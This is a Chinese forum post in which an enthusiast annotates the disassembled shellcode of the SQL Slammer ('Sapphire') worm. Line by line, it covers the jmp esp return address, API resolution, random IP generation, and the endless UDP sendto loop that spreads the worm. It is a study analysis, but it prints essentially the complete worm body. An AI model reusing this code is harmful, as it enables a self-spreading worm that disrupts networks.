突然间对它SQL worm sapphire的代码非常感兴趣，针对网上给出的test code(自己抓包也行),
一直读到临晨4点，终于把关键代码都注释起来了，第一次自己剖析病毒，感觉
挺好的,这个病毒太精湛了。如有错误之处，请大家斧正。
yangrunhua 2/9/03 04:30am
注意:具体地址在不同版本机器上有差异
0012FCED push 42b0c9dch ;在sqlsort.dll加载后42B0C9DC处为FFE4即jmp esp,作为返回地址
0012FCF2 B801010101 mov eax,1010101h
0012FCF7 31C9 xor ecx,ecx
0012FCF9 B118 mov cl,18h
0012FCFB 50 push eax
0012FCFC E2FD loop 0012FCFB ;循环填充01010101h
0012FCFE 3501010105 xor eax,5010101h ;eax=04000000h
0012FD03 50 push eax ;从程序头到此用于再生需溢出的缓冲区 ebp+04h
;
; \x04\x01\0x01.......\0x01\0x01\0xDC\0xC9\0xB0\0x42
0012FD04 89E5 mov ebp,esp ;save esp to ebp
0012FD06 51 push ecx
0012FD07 682E646C6C push 6C6C642Eh
0012FD0C 68656C3332 push 32336C65h
0012FD11 686B65726E push 6E72656Bh ;.string "kernel32.dll" ebp-10h
0012FD16 51 push ecx
0012FD17 686F756E74 push 746E756Fh
0012FD1C 6869636B43 push 436B6369h
0012FD21 6847657454 push 54746547h ;.string "GetTickCount" ebp-20h
0012FD26 66B96C6C mov cx,6C6Ch
0012FD2A 51 push ecx
0012FD2B 6833322E64 push 642E3233h
0012FD30 687773325F push 5F327377h ;.string "ws2_32.dll" ebp-2ch
0012FD35 66B96574 mov cx,7465h
0012FD39 51 push ecx
0012FD3A 68736F636B push 6B636F73h ;.string "socket" ebp-34h
0012FD3F 66B9746F mov cx,6F74h
0012FD43 51 push ecx
0012FD44 6873656E64 push 646E6573h ;.string "sendto" ebp-3ch
0012FD49 BE1810AE42 mov esi,42AE1018h;address of GetDllHandle
0012FD4E 8D45D4 lea eax,[ebp-2Ch]
0012FD51 50 push eax ;address of "ws2_32.dll" ebp-40h
0012FD52 FF16 call dword ptr [esi]; call GetDllHandle
0012FD54 50 push eax ; HINSTANCE of ws2_32.dll ebp-40h
0012FD55 8D45E0 lea eax,[ebp-20h]
0012FD58 50 push eax ;address of "GetTickCount" ebp-44h
0012FD59 8D45F0 lea eax,[ebp-10h]
0012FD5C 50 push eax ;address of "kernel32.dll" ebp-48h
0012FD5D FF16 call dword ptr [esi]; call GetDllHandle
0012FD5F 50 push eax ;address of kernel32.dll ebp-48h
0012FD60 BE1010AE42 mov esi,42AE1010h
0012FD65 8B1E mov ebx,dword ptr [esi]
0012FD67 8B03 mov eax,dword ptr [ebx]
0012FD69 3D558BEC51 cmp eax,51EC8B55h
0012FD6E 7405 je 0012FD75
0012FD70 BE1C10AE42 mov esi,42AE101Ch
0012FD75 FF16 call dword ptr [esi]; call GetProcAddress for address of GetTickCount
0012FD77 FFD0 call eax ; call GetTickCount
0012FD79 31C9 xor ecx,ecx
0012FD7B 51 push ecx
0012FD7C 51 push ecx ; must be 0 of last 8 bytes of sockaddr_in struct ebp-48h
0012FD7D 50 push eax ; Random Value (for dest IP) ebp-4ch
0012FD7E 81F10301049A xor ecx,9A040103h
0012FD84 81F101010101 xor ecx,1010101h
0012FD8A 51 push ecx ;ecx=0x9b050002 AF_INET 0x0002 + port 1435 htons(1435)=0x9b05 ebp-50h
0012FD8B 8D45CC lea eax,[ebp-34h]
0012FD8E 50 push eax ;address of "socket" ebp-54h
0012FD8F 8B45C0 mov eax,dword ptr [ebp-40h]
0012FD92 50 push eax ;address of ws2_32.dll ebp-58h
0012FD93 FF16 call dword ptr [esi]; call GetProcAddress for address of socket
0012FD95 6A11 push 11h ; UDP protocol ebp-54h
0012FD97 6A02 push 2 ; SOCK_DGRAM ebp-58h
0012FD99 6A02 push 2 ; AF_INET ebp-5ch
0012FD9B FFD0 call eax ; call socket
0012FD9D 50 push eax ; socket descriptor for communication ebp-54h
0012FD9E 8D45C4 lea eax,[ebp-3Ch]
0012FDA1 50 push eax ;address of "sendto"
0012FDA2 8B45C0 mov eax,dword ptr [ebp-40h]
0012FDA5 50 push eax ;address of ws2_32.dll
0012FDA6 FF16 call dword ptr [esi]; call GetProcAddress for address of sendto
0012FDA8 89C6 mov esi,eax ; esi has address of sendto
0012FDAA 09DB or ebx,ebx
0012FDAC 81F33C61D9FF xor ebx,0FFD9613Ch
0012FDB2 8B45B4 mov eax,dword ptr [ebp-4Ch]; fill eax with last Random Value (dest IP)
0012FDB5 8D0C40 lea ecx,[eax+eax*2]
0012FDB8 8D1488 lea edx,[eax+ecx*4]
0012FDBB C1E204 shl edx,4
0012FDBE 01C2 add edx,eax
0012FDC0 C1E208 shl edx,8
0012FDC3 29C2 sub edx,eax
0012FDC5 8D0490 lea eax,[eax+edx*4]
0012FDC8 01D8 add eax,ebx
0012FDCA 8945B4 mov dword ptr [ebp-4Ch],eax; modify next Random Value (dest IP)
0012FDCD 6A10 push 10h ; addr length = 16 bytes
0012FDCF 8D45B0 lea eax,[ebp-50h]
0012FDD2 50 push eax ; address of sockaddr_in struct
0012FDD3 31C9 xor ecx,ecx
0012FDD5 51 push ecx ; flags = 0
0012FDD6 6681F17801 xor cx,178h ; len = 376 bytes
0012FDDB 51 push ecx
0012FDDC 8D4503 lea eax,[ebp+3]
0012FDDF 50 push eax ; beginning of msg (we just generated), msg begins with 0x04
0012FDE0 8B45AC mov eax,dword ptr [ebp-54h]
0012FDE3 50 push eax ; socket descriptor for communication
0012FDE4 FFD6 call esi ; call sendto
0012FDE6 EBCA jmp 0012FDB2 ; infinite loop
